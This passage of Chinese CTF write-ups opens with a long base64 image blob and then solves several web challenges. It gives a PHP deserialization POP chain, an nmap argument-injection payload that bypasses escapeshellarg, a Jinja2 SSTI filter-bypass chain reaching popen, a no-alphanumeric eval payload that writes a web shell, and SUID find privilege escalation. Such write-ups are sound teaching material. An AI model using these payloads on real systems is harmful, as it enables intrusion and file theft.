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*/

将两边的注释符去掉就可以转化为图片Base64在线转换图片_图片转Base64_在线base64图片转换工具_yzc工具网

然后得到下图

key是9hername是momo

然后就可以去干find那个方法了

$a = new Me();$a->bro = &$a->secret;$a->qwe = new her();$a->qwe->asd = new important();$args2 = array(new her,'find');$args = array('seeyou'=>$args2);$a->qwe->asd->power = new useless($args);$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

生成链子就可以打到find那个方法去了，记得在类里给hername还有key赋值

file_get_content使用data协议进行绕过
file=data://text/plain,loveyou

然后原生类读文件，这里写了个脚本寻思在根目录游走一番，结果啥也没有

import requestsimport timeurl = 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com/havefun.php?user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A18%3B%7D%7D&file=data://text/plain,loveyou&fun=glob:///*'#fun=glob:///*str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'for i in str:time.sleep(0.2)payload = url + 'm' + '*'headers = {'Host': 'd3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com','Content-Length': '21','Cache-Control': 'max-age=0','Sec-Ch-Ua': '"Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"','Sec-Ch-Ua-Mobile': '?0','Sec-Ch-Ua-Platform': '"Windows"','Upgrade-Insecure-Requests': '1','Origin': 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com','Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Sec-Fetch-Site': 'same-origin','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Sec-Fetch-Dest': 'document','Referer': payload,'Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'navigate','Sec-Fetch-Dest': 'document'}data={'ctf':'DirectoryIterator'}r = requests.post(url,data,headers)te = r.text.split('！<br>')[3]print(te)

最后在html目录下找到flag

使用原生类读取flag名，访问得到flag

scan_tool

参考：

BUUCTF 2018 Online Tool-CSDN博客^v88^control_2,239^v2^insert_chatgpt&utm_term=%5BBUUCTF%202018%5DOnline%20Tool&spm=1018.2226.3001.4187

一些不包含数字和字母的webshell | 离别歌

这两个博客

利用escapeshellarg函数处理命令会剔除不可见字符的特性可以使用不可见字符对过滤的option进行绕过，payload如下

利用-iL参数将文件外带，利用-oG参数将结果写入当前目录的文件

%27+-i%faL+%2Fflag+-o%faN+1.txt+%27

klf_2

考点：字符串拼接，全角绕过

{% set po=dict(po=a,p=b)|join%}                                //拼接pop           {% set a=(()|select|string|list)|attr(po)(24)%}                //利用pop获取()|select|string|list列表中的_{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}                                                             //拼接__init__{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}                                                     //拼接__globals__{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}                                                          //拼接__class__{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}                                                           //拼接base{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}            //拼接getitem，用来绕过[]{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}                                           //拼接__subclasses__{%set pp=dict(po=a,p=b,en=c)|join%}                                                                                                                                        //拼接popen{%set re=dict(re=a,ad=b)|join%}                                                                                                                                                                     //拼接read{%set cc=dict(c=a,h=b,r=c)|join%}                                                                                                                                               //拼接字符chr{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %}                                                  //拼接__builtins__{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)                                                    //利用os类提取函数chr，用于字符串拼接(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)                                                 //使用os类，拼接出popen函数(117)|attr(ini)|attr(glo)|attr(geti)(pp)%}                                                                                                               {%set cmd=(ch(1０８),ch(1１５))|join()%}                                                                                                                             //利用chr拼接出系统命令{{ppp(cmd)|attr(re)()}}                                                                                                                                                                                                          //进行命令执行

利用chr函数绕过命令的过滤，利用join函数将命令进行拼接，上传全角的时候记得url编码，全角字符如下

０,１,２,３,４,５,６,７,８,９

任何字符其实都可以使用非ascii码表字符进行绕过，脚本如下

for i in range(128,65537):tmp=chr(i)try:res = tmp.encode('idna').decode('utf-8')if("-") in res:continueprint("U:{}    A:{}      ascii:{} ".format(tmp, res, i))except:pass

EzRce

参考博客：

源码如下

<?phpinclude('waf.php');session_start();show_source(__FILE__);error_reporting(0);$data=$_GET['data'];if(waf($data)){eval($data);}else{echo "no!";}?>

通过highlight_file读取waf.php，结果如下

function waf($data){ if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){return False;}else{return True;}}

字母中没有过滤eval，利用p神的脚本进行命令执行

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);

POST

file_put_contents('1.php','<?=eval($_POST["chu0"]);?>');

写shell连接蚁剑，读取flag发现没有权限，find提权获取flag

find / -perm -4000 2>/dev/nullfind /tmp -exec cat /flag \;

ezpython

简单的python原型链污染。

直接在注册的时候将身份变成vip，利用unicode编码绕过isvip检测。

然后直接利用数字全角绕过数字检测得到flag。

change_it

源码拿到账号密码，登陆后说没有上传权限，应该是要伪造cookie，测试后是jwt，密钥爆破

